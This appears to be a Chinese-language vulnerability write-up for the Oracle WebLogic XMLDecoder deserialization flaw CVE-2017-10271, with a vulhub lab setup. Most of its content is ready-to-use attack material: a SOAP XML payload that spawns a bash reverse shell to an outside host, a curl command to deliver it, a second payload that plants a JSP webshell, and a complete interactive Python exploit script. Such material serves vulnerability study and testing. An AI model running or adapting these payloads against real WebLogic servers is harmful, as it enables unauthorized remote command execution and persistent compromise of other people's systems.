# Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271

## 漏洞描述

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

## 影响版本

```
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.0.0
Weblogic 12.2.1.2.0
```

## 环境搭建

```plain
git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d
```

访问 http://xxx.xxx.xxx.xxx:7001 正常即可![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091225400.png)

## 漏洞复现

对 http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType 进行访问，存在这个url则可能存在漏洞

```plain
其他可利用URL
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
```

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091225406.png)

使用POST方法上传以下数据反弹一个shell

```xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
```

使用Curl反弹shell (将上面的xml数据保存为poc.xml)

```shell
curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType"
```

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091225539.png)

也可以通过漏洞写入webshell文件

```xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
```

访问 http://xxx.xxx.xxx.xxx:7001/bea_wls_internal/test.jsp 即可得到写入的文件

## 漏洞POC

利用 [weblogic-scan](https://github.com/kingkaki/weblogic-scan)快速检测

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091225528.png)

- 反弹shell exp

```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import requests
import sys
import json

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: Weblogic 10.3.6.0.0            \033[0m')
    print('+  \033[34m         Weblogic 12.1.3.0.0            \033[0m')
    print('+  \033[34m         Weblogic 12.2.1.0.0            \033[0m')
    print('+  \033[34m         Weblogic 12.2.1.2.0            \033[0m')
    print('+  \033[36m使用格式: python3 CVE-2017-10271.py      \033[0m')
    print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:7001  \033[0m')
    print('+  \033[36mCmd    >>> shell(反弹shell)              \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, IP, PORT):
    vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
    headers = {
        "Content-Type": "text/xml",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    data = """
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>/bin/bash</string>
        </void>
        <void index="1">
        <string>-c</string>
        </void>
        <void index="2">
        <string>bash -i &gt;&amp; /dev/tcp/%s/%s 0&gt;&amp;1</string>
        </void>
        </array>
        <void method="start"/></void>
        </java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
        </soapenv:Envelope>
    """ % (IP,PORT)
    try:
        response = requests.request("POST", url=vuln_url, headers=headers, data=data)
    except:
        print("\033[31m[x] 漏洞利用失败 \033[0m")


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    IP = str(input("\033[35m请输入监听IP   >>> \033[0m"))
    PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
    POC_1(target_url, IP, PORT)
```

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091225540.png)